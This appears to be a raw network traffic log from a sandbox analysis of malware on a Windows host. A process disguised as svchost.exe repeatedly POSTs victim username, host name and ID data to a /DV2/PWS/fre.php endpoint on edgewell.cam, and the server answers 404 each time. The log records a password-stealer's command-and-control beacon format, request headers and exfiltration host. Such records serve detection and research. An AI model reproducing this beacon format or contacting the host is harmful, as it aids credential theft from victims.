May 27, 2024 02:56:53.285285950 CEST	180	OUT	Data Raw: 12 00 27 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0c 00 00 00 61 00 6c 00 66 00 6f 00 6e 00 73 00 01 00 0c 00 00 00 33 00 34 00 37 00 36 00 38 00 38 00 01 00 12 00 00 00 41 00 4c 00 46 00 4f 00 4e 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 Data Ascii: 'ckav.rualfons347688ALFONS-PC+0FDD42EE188E931437F4FBE2CHoqeT
May 27, 2024 02:56:53.949858904 CEST	595	IN	HTTP/1.1 404 Not Found Date: Mon, 27 May 2024 00:56:53 GMT Content-Type: text/html; charset=UTF-8 Connection: close Status: 404 Not Found CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Y2PyiOoWL8niKYe%2BtW1%2BJkEaxFmG2vJPO0%2B43g48ka6wsKa%2BHQG2rXtv%2F05sDHkvpFyFn%2B4fIy27EjItLPZILUBEsU%2FEefVrDLRiQ9bMR5FN1rOOdNk0h9BGNqfyqIU%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 88a20c37a98a7d1c-EWR alt-svc: h3=":443"; ma=86400 Data Raw: 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.5	49706	104.21.85.101	80	5504	C:\Windows\SysWOW64\svchost.exe

Timestamp	Bytes transferred	Direction	Data
May 27, 2024 02:56:54.048378944 CEST	240	OUT	POST /DV2/PWS/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: edgewell.cam Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 62B9FE62 Content-Length: 153 Connection: close
May 27, 2024 02:56:54.096872091 CEST	153	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0c 00 00 00 61 00 6c 00 66 00 6f 00 6e 00 73 00 01 00 0c 00 00 00 33 00 34 00 37 00 36 00 38 00 38 00 01 00 12 00 00 00 41 00 4c 00 46 00 4f 00 4e 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 Data Ascii: (ckav.rualfons347688ALFONS-PC0FDD42EE188E931437F4FBE2C
May 27, 2024 02:56:54.715260983 CEST	593	IN	HTTP/1.1 404 Not Found Date: Mon, 27 May 2024 00:56:54 GMT Content-Type: text/html; charset=UTF-8 Connection: close Status: 404 Not Found CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=N6PrJbUjtqyzdjw%2BfoJ7qnOEqb1oYioq5%2FDq4CLoNgT1T4vP7Z4oFGoVwMRB5BLNY4wLGwbZNnrhPno3HX4UuMyQ31o0QpQMKoiXc6UY2pf0XAIxWHToFr6wch6TlmM%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 88a20c3c6d2d0f65-EWR alt-svc: h3=":443"; ma=86400 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.5	49707	104.21.85.101	80	5504	C:\Windows\SysWOW64\svchost.exe

Timestamp	Bytes transferred	Direction	Data
May 27, 2024 02:56:54.907196999 CEST	240	OUT	POST /DV2/PWS/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: edgewell.cam Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 62B9FE62 Content-Length: 153 Connection: close
May 27, 2024 02:56:54.956893921 CEST	153	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0c 00 00 00 61 00 6c 00 66 00 6f 00 6e 00 73 00 01 00 0c 00 00 00 33 00 34 00 37 00 36 00 38 00 38 00 01 00 12 00 00 00 41 00 4c 00 46 00 4f 00 4e 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 Data Ascii: (ckav.rualfons347688ALFONS-PC0FDD42EE188E931437F4FBE2C
May 27, 2024 02:56:55.708489895 CEST	599	IN	HTTP/1.1 404 Not Found Date: Mon, 27 May 2024 00:56:55 GMT Content-Type: text/html; charset=UTF-8 Connection: close Status: 404 Not Found CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=l6vHeFcuIuw5ieYxQcx8PdbSpNP44ZqsiN7Fqy%2BPvCdO4iA9B01J%2BcBbZvxer93fB9ojzV9Wo0WTdCoI0TIuB2Erx0NFA%2BNBPaw%2FkB%2F6NLXLB1aNpBBDYRS6mBfJ1qk%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 88a20c41cdd10cae-EWR alt-svc: h3=":443"; ma=86400 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.5	49708	104.21.85.101	80	5504	C:\Windows\SysWOW64\svchost.exe

Timestamp	Bytes transferred	Direction	Data
May 27, 2024 02:56:55.869977951 CEST	240	OUT	POST /DV2/PWS/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: edgewell.cam Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 62B9FE62 Content-Length: 153 Connection: close
May 27, 2024 02:56:55.898742914 CEST	153	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0c 00 00 00 61 00 6c 00 66 00 6f 00 6e 00 73 00 01 00 0c 00 00 00 33 00 34 00 37 00 36 00 38 00 38 00 01 00 12 00 00 00 41 00 4c 00 46 00 4f 00 4e 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 Data Ascii: (ckav.rualfons347688ALFONS-PC0FDD42EE188E931437F4FBE2C
May 27, 2024 02:56:56.538176060 CEST	593	IN	HTTP/1.1 404 Not Found Date: Mon, 27 May 2024 00:56:56 GMT Content-Type: text/html; charset=UTF-8 Connection: close Status: 404 Not Found CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=e9GuhsGJ5qWuLko5%2FyLZZNnHI00MrxJvPVbmW8TaJj67K%2BO6qEK8MWX7trMdzEprwoB4K9QYMVKOSLJMpFfv7WBvqRstvh7PQju4LZe1dRF2apdTppiV0hXMDmo2FUI%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 88a20c47c80643da-EWR alt-svc: h3=":443"; ma=86400 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.5	49709	104.21.85.101	80	5504	C:\Windows\SysWOW64\svchost.exe

Timestamp	Bytes transferred	Direction	Data
May 27, 2024 02:56:56.824671030 CEST	240	OUT	POST /DV2/PWS/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: edgewell.cam Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 62B9FE62 Content-Length: 153 Connection: close
May 27, 2024 02:56:56.865248919 CEST	153	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0c 00 00 00 61 00 6c 00 66 00 6f 00 6e 00 73 00 01 00 0c 00 00 00 33 00 34 00 37 00 36 00 38 00 38 00 01 00 12 00 00 00 41 00 4c 00 46 00 4f 00 4e 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 Data Ascii: (ckav.rualfons347688ALFONS-PC0FDD42EE188E931437F4FBE2C
May 27, 2024 02:56:57.501184940 CEST	591	IN	HTTP/1.1 404 Not Found Date: Mon, 27 May 2024 00:56:57 GMT Content-Type: text/html; charset=UTF-8 Connection: close Status: 404 Not Found CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=g5uZ9Ird9egql3OxLXIUeru1P1C9tcQFPTJVtMiPLUdBOGzjU4bXwWFZ5OyuhJe0qCtKrtqCVHKwsiKFlTecLxpPF76kBygyh7SMQY9AS%2F6Gh7VLmuUBzrcxGXQ4UYA%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 88a20c4dbd438c93-EWR alt-svc: h3=":443"; ma=86400 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.5	49710	104.21.85.101	80	5504	C:\Windows\SysWOW64\svchost.exe

Timestamp	Bytes transferred	Direction	Data
May 27, 2024 02:56:57.681674004 CEST	240	OUT	POST /DV2/PWS/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: edgewell.cam Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 62B9FE62 Content-Length: 153 Connection: close
May 27, 2024 02:56:57.730348110 CEST	153	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0c 00 00 00 61 00 6c 00 66 00 6f 00 6e 00 73 00 01 00 0c 00 00 00 33 00 34 00 37 00 36 00 38 00 38 00 01 00 12 00 00 00 41 00 4c 00 46 00 4f 00 4e 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 Data Ascii: (ckav.rualfons347688ALFONS-PC0FDD42EE188E931437F4FBE2C
May 27, 2024 02:56:58.659352064 CEST	593	IN	HTTP/1.1 404 Not Found Date: Mon, 27 May 2024 00:56:58 GMT Content-Type: text/html; charset=UTF-8 Connection: close Status: 404 Not Found CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=rPYX4QE5w6vh7Rg3nv%2FWXC7ca238PuZGX9vPxJUQXam0BC5sdpd39kn31CEaC7W1mOxDOquiMpdQ4GtppjNH2L%2FeHKxN54w1D6Zt5RhJpsD6hqzFeIWZ5Xz0iDypWEM%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 88a20c53690b80d9-EWR alt-svc: h3=":443"; ma=86400 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.5	49711	104.21.85.101	80	5504	C:\Windows\SysWOW64\svchost.exe

Timestamp	Bytes transferred	Direction	Data
May 27, 2024 02:56:58.817935944 CEST	240	OUT	POST /DV2/PWS/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: edgewell.cam Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 62B9FE62 Content-Length: 153 Connection: close
May 27, 2024 02:56:58.869282007 CEST	153	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0c 00 00 00 61 00 6c 00 66 00 6f 00 6e 00 73 00 01 00 0c 00 00 00 33 00 34 00 37 00 36 00 38 00 38 00 01 00 12 00 00 00 41 00 4c 00 46 00 4f 00 4e 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 Data Ascii: (ckav.rualfons347688ALFONS-PC0FDD42EE188E931437F4FBE2C
May 27, 2024 02:56:59.507848024 CEST	603	IN	HTTP/1.1 404 Not Found Date: Mon, 27 May 2024 00:56:59 GMT Content-Type: text/html; charset=UTF-8 Connection: close Status: 404 Not Found CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=%2Bsv%2BJo7uL5ELUrQZfUkQ6m6mZnbVmBb6Dr0%2F0TbzfJf2f5i3xqkPrB5ebNVY%2F7ZW0x7NKJdHAWA%2FP39j%2Fwl9MwSeUDa5aPOhU5R9ibx7u%2Fa5VwYa83uic9y3PfuCfOE%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 88a20c5a4c36558f-EWR alt-svc: h3=":443"; ma=86400 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.5	49712	104.21.85.101	80	5504	C:\Windows\SysWOW64\svchost.exe

Timestamp	Bytes transferred	Direction	Data
May 27, 2024 02:56:59.664329052 CEST	240	OUT	POST /DV2/PWS/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: edgewell.cam Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 62B9FE62 Content-Length: 153 Connection: close
May 27, 2024 02:56:59.713324070 CEST	153	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0c 00 00 00 61 00 6c 00 66 00 6f 00 6e 00 73 00 01 00 0c 00 00 00 33 00 34 00 37 00 36 00 38 00 38 00 01 00 12 00 00 00 41 00 4c 00 46 00 4f 00 4e 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 Data Ascii: (ckav.rualfons347688ALFONS-PC0FDD42EE188E931437F4FBE2C
May 27, 2024 02:57:00.450532913 CEST	599	IN	HTTP/1.1 404 Not Found Date: Mon, 27 May 2024 00:57:00 GMT Content-Type: text/html; charset=UTF-8 Connection: close Status: 404 Not Found CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=DoGQ6fLN8KKggm5%2FB6Xu6AB0PXZd7375AL2ISy56NWwNk5sIEjEMxZ9VKj%2FfDls4YEP6exvyGncESkJGnPQ5RlhxvC%2F26ivwO0obhzUbKV%2FyQ8aaEBBwLLaPPRj%2Bg0A%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 88a20c5f7c4b43ef-EWR alt-svc: h3=":443"; ma=86400 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.5	49713	104.21.85.101	80	5504	C:\Windows\SysWOW64\svchost.exe

Timestamp	Bytes transferred	Direction	Data
May 27, 2024 02:57:00.615869999 CEST	240	OUT	POST /DV2/PWS/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: edgewell.cam Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 62B9FE62 Content-Length: 153 Connection: close
May 27, 2024 02:57:00.665637970 CEST	153	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0c 00 00 00 61 00 6c 00 66 00 6f 00 6e 00 73 00 01 00 0c 00 00 00 33 00 34 00 37 00 36 00 38 00 38 00 01 00 12 00 00 00 41 00 4c 00 46 00 4f 00 4e 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 Data Ascii: (ckav.rualfons347688ALFONS-PC0FDD42EE188E931437F4FBE2C
May 27, 2024 02:57:01.321350098 CEST	591	IN	HTTP/1.1 404 Not Found Date: Mon, 27 May 2024 00:57:01 GMT Content-Type: text/html; charset=UTF-8 Connection: close Status: 404 Not Found CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=G3BZmdoF9QuJ5xhF1JQNx1gS7vKS5W9b6y9OvsN40nkzEtLopUVqbqLbmpKntpYxHCxrPf0DN%2FWA3eTOz5G5d8Ds0eaRJio7qaZmA6oVn3hCaTs5N859hmUi2P3w8uE%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 88a20c65a8e880e0-EWR alt-svc: h3=":443"; ma=86400 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.5	49714	104.21.85.101	80	5504	C:\Windows\SysWOW64\svchost.exe

Timestamp	Bytes transferred	Direction	Data
May 27, 2024 02:57:01.572690010 CEST	240	OUT	POST /DV2/PWS/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: edgewell.cam Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 62B9FE62 Content-Length: 153 Connection: close
May 27, 2024 02:57:01.613050938 CEST	153	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0c 00 00 00 61 00 6c 00 66 00 6f 00 6e 00 73 00 01 00 0c 00 00 00 33 00 34 00 37 00 36 00 38 00 38 00 01 00 12 00 00 00 41 00 4c 00 46 00 4f 00 4e 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 Data Ascii: (ckav.rualfons347688ALFONS-PC0FDD42EE188E931437F4FBE2C
May 27, 2024 02:57:02.255939960 CEST	599	IN	HTTP/1.1 404 Not Found Date: Mon, 27 May 2024 00:57:02 GMT Content-Type: text/html; charset=UTF-8 Connection: close Status: 404 Not Found CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=BUbaH4nryVVkjtiO41evq4CJwe%2FUcNvUNWPv8VYQEX34C2L7PBmPEkF93F4PKzDyeOHPsrV%2Bdb2fGqaWi6r8ZrVE%2Ba4x3ACdsTT%2BGujl7hidfTK6imUX9KIgQEma6%2BI%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 88a20c6b69224276-EWR alt-svc: h3=":443"; ma=86400 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.5	49715	104.21.85.101	80	5504	C:\Windows\SysWOW64\svchost.exe

Timestamp	Bytes transferred	Direction	Data
May 27, 2024 02:57:02.427081108 CEST	240	OUT	POST /DV2/PWS/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: edgewell.cam Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 62B9FE62 Content-Length: 153 Connection: close
May 27, 2024 02:57:02.469031096 CEST	153	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0c 00 00 00 61 00 6c 00 66 00 6f 00 6e 00 73 00 01 00 0c 00 00 00 33 00 34 00 37 00 36 00 38 00 38 00 01 00 12 00 00 00 41 00 4c 00 46 00 4f 00 4e 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 Data Ascii: (ckav.rualfons347688ALFONS-PC0FDD42EE188E931437F4FBE2C
May 27, 2024 02:57:03.154740095 CEST	595	IN	HTTP/1.1 404 Not Found Date: Mon, 27 May 2024 00:57:03 GMT Content-Type: text/html; charset=UTF-8 Connection: close Status: 404 Not Found CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Lr9Zfoji30TwB8uu%2FtmeSesMPQo0QYrVA%2FNrndo7MhBY2%2B2SKL19T2w6ORBLx9nCjNW6BsqzY2RTNwqKUJ9wUoW4NxOO8amnhk4FppSzK2Nw14Sqz9a0pU8HzQJVJsU%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 88a20c70ba3d41ba-EWR alt-svc: h3=":443"; ma=86400 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.5	49716	104.21.85.101	80	5504	C:\Windows\SysWOW64\svchost.exe

Timestamp	Bytes transferred	Direction	Data
May 27, 2024 02:57:03.327853918 CEST	240	OUT	POST /DV2/PWS/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: edgewell.cam Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 62B9FE62 Content-Length: 153 Connection: close
May 27, 2024 02:57:03.372904062 CEST	153	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0c 00 00 00 61 00 6c 00 66 00 6f 00 6e 00 73 00 01 00 0c 00 00 00 33 00 34 00 37 00 36 00 38 00 38 00 01 00 12 00 00 00 41 00 4c 00 46 00 4f 00 4e 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 Data Ascii: (ckav.rualfons347688ALFONS-PC0FDD42EE188E931437F4FBE2C
May 27, 2024 02:57:04.029386997 CEST	593	IN	HTTP/1.1 404 Not Found Date: Mon, 27 May 2024 00:57:03 GMT Content-Type: text/html; charset=UTF-8 Connection: close Status: 404 Not Found CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=1UF2YZqFZ6CA9H7pv9HKgwz%2BBYopFoMQMABbpitF8Gf0FsCZwun%2FZnUuLhjBaUIZ8oxE93sKJvdhPayGXRQEPF3slZA0OLOawZyWapQoFDZ2sAT2xepxLZsOh9OgilQ%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 88a20c767b0643e0-EWR alt-svc: h3=":443"; ma=86400 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.5	49717	104.21.85.101	80	5504	C:\Windows\SysWOW64\svchost.exe

Timestamp	Bytes transferred	Direction	Data
May 27, 2024 02:57:04.194339991 CEST	240	OUT	POST /DV2/PWS/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: edgewell.cam Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 62B9FE62 Content-Length: 153 Connection: close
May 27, 2024 02:57:04.244805098 CEST	153	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0c 00 00 00 61 00 6c 00 66 00 6f 00 6e 00 73 00 01 00 0c 00 00 00 33 00 34 00 37 00 36 00 38 00 38 00 01 00 12 00 00 00 41 00 4c 00 46 00 4f 00 4e 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 Data Ascii: (ckav.rualfons347688ALFONS-PC0FDD42EE188E931437F4FBE2C
May 27, 2024 02:57:04.953733921 CEST	601	IN	HTTP/1.1 404 Not Found Date: Mon, 27 May 2024 00:57:04 GMT Content-Type: text/html; charset=UTF-8 Connection: close Status: 404 Not Found CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=7q45WjqmwHvNWv83fESGUn8tYGzGEYlqPjyaXoH2h1b9%2B%2BkOubuvDDXXCq7T%2ByNn0TzH0pha8jsIGVF%2Bsvv08GKKxQ75AihXUleZeXL%2FFGVuKtauBSbEl%2FLqAU2NpKM%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 88a20c7be96a4201-EWR alt-svc: h3=":443"; ma=86400 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.5	49718	104.21.85.101	80	5504	C:\Windows\SysWOW64\svchost.exe

Timestamp	Bytes transferred	Direction	Data
May 27, 2024 02:57:05.187814951 CEST	240	OUT	POST /DV2/PWS/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: edgewell.cam Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 62B9FE62 Content-Length: 153 Connection: close
May 27, 2024 02:57:05.236978054 CEST	153	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0c 00 00 00 61 00 6c 00 66 00 6f 00 6e 00 73 00 01 00 0c 00 00 00 33 00 34 00 37 00 36 00 38 00 38 00 01 00 12 00 00 00 41 00 4c 00 46 00 4f 00 4e 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 Data Ascii: (ckav.rualfons347688ALFONS-PC0FDD42EE188E931437F4FBE2C
May 27, 2024 02:57:05.876110077 CEST	599	IN	HTTP/1.1 404 Not Found Date: Mon, 27 May 2024 00:57:05 GMT Content-Type: text/html; charset=UTF-8 Connection: close Status: 404 Not Found CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=j%2F6wqMwCn3%2BTSsEDg4QcQeKDN4Gc%2BqfUBRUDGEByiipS1c%2Bi3st5uaM7dpipeR%2BOMI56lxa06HESRW95hAebHigl8Q5pVVfnjk24dh0cl8jKRDxDCWN4NewSKKeKI3M%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 88a20c820cb80f69-EWR alt-svc: h3=":443"; ma=86400 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.5	49719	104.21.85.101	80	5504	C:\Windows\SysWOW64\svchost.exe

Timestamp	Bytes transferred	Direction	Data
May 27, 2024 02:57:07.503626108 CEST	240	OUT	POST /DV2/PWS/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: edgewell.cam Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 62B9FE62 Content-Length: 153 Connection: close
May 27, 2024 02:57:07.552756071 CEST	153	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0c 00 00 00 61 00 6c 00 66 00 6f 00 6e 00 73 00 01 00 0c 00 00 00 33 00 34 00 37 00 36 00 38 00 38 00 01 00 12 00 00 00 41 00 4c 00 46 00 4f 00 4e 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 Data Ascii: (ckav.rualfons347688ALFONS-PC0FDD42EE188E931437F4FBE2C
May 27, 2024 02:57:08.177527905 CEST	591	IN	HTTP/1.1 404 Not Found Date: Mon, 27 May 2024 00:57:08 GMT Content-Type: text/html; charset=UTF-8 Connection: close Status: 404 Not Found CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=fpu2v03CRy2cYn3PmDQfvRBwqiF84Ka%2FKzIscTjytF1qYe9hsiWN1reccryM9jpBpAXw8c3Sa2GtA6JHVOVMnw8uisfAKpI4W2WoBJKO2NnwVpwetWWZlPPAi5R1Jmo%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 88a20c908b3e43f7-EWR alt-svc: h3=":443"; ma=86400 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.5	49721	104.21.85.101	80	5504	C:\Windows\SysWOW64\svchost.exe

Timestamp	Bytes transferred	Direction	Data
May 27, 2024 02:57:08.406183004 CEST	240	OUT	POST /DV2/PWS/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: edgewell.cam Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 62B9FE62 Content-Length: 153 Connection: close
May 27, 2024 02:57:08.461241961 CEST	153	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0c 00 00 00 61 00 6c 00 66 00 6f 00 6e 00 73 00 01 00 0c 00 00 00 33 00 34 00 37 00 36 00 38 00 38 00 01 00 12 00 00 00 41 00 4c 00 46 00 4f 00 4e 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 Data Ascii: (ckav.rualfons347688ALFONS-PC0FDD42EE188E931437F4FBE2C
